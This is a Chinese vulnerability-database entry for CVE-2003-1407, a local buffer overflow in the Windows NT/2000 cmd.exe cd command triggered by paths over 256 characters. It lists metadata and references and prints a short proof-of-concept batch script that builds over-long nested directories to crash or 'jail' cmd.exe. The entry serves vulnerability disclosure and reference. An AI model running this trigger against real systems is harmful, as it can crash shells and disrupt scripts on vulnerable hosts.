Microsoft Windows NT/2000 cmd.exe CD本地缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107210 漏洞类型 缓冲区溢出
发布时间 2003-02-11 更新时间 2003-12-31
CVE编号 CVE-2003-1407 CNNVD-ID CNNVD-200312-134
漏洞平台 Windows CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/22245
https://cxsecurity.com/issue/WLB-2007100072
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-134
|漏洞详情
WindowsNT和2000是Microsoft开发和维护的操作系统。WindowsNT和2000中使用的cmd.exe没有正确处理路径超过256字符的情况,本地攻击者可以利用这个漏洞进行缓冲区溢出或者cd转换目录命令失败。NTFS文件系统允许建立无限长度的路径,而WindowsAPI却只允许路径不超过256字节。WindowsNT和2000下的cmd.exe不能正确处理路径包含256字符的情况,如果cd命令用于更换到超过256字符的子目录,在WindowsNT4.0系统下会发生缓冲区溢出,存在执行任意指令可能,而在Windows2000下会导致cd命令失败。
|漏洞EXP
source: http://www.securityfocus.com/bid/6829/info

The Windows NT and 2000 command prompt (cmd.exe) does not properly handle paths containing more than 256 characters. If the cd (change directory) command is used to change to a subdirectory resulting in a path with more than 256 characters, a buffer is overrun. This could lead to cmd.exe failing with the possibility of code execution on Windows NT 4.0 systems. Automated scripts that traverse and preform operations on arbitrary directories are particularly vulnerable.

On Windows 2000 systems, cmd.exe will become 'jailed' in the directory. 

@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%c:
cd cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..
|参考资料

来源:XF
名称:win-cmd-cd-bo(11329)
链接:http://xforce.iss.net/xforce/xfdb/11329
来源:BID
名称:6829
链接:http://www.securityfocus.com/bid/6829
来源:BUGTRAQ
名称:20030211SECURITY.NNOV:WindowsNT4.0/2000cmd.exelongpathbufferoverflow/DoS
链接:http://www.securityfocus.com/archive/1/311359
来源:SREASON
名称:3251
链接:http://securityreason.com/securityalert/3251
来源:NSFOCUS
名称:4377
链接:http://www.nsfocus.net/vulndb/4377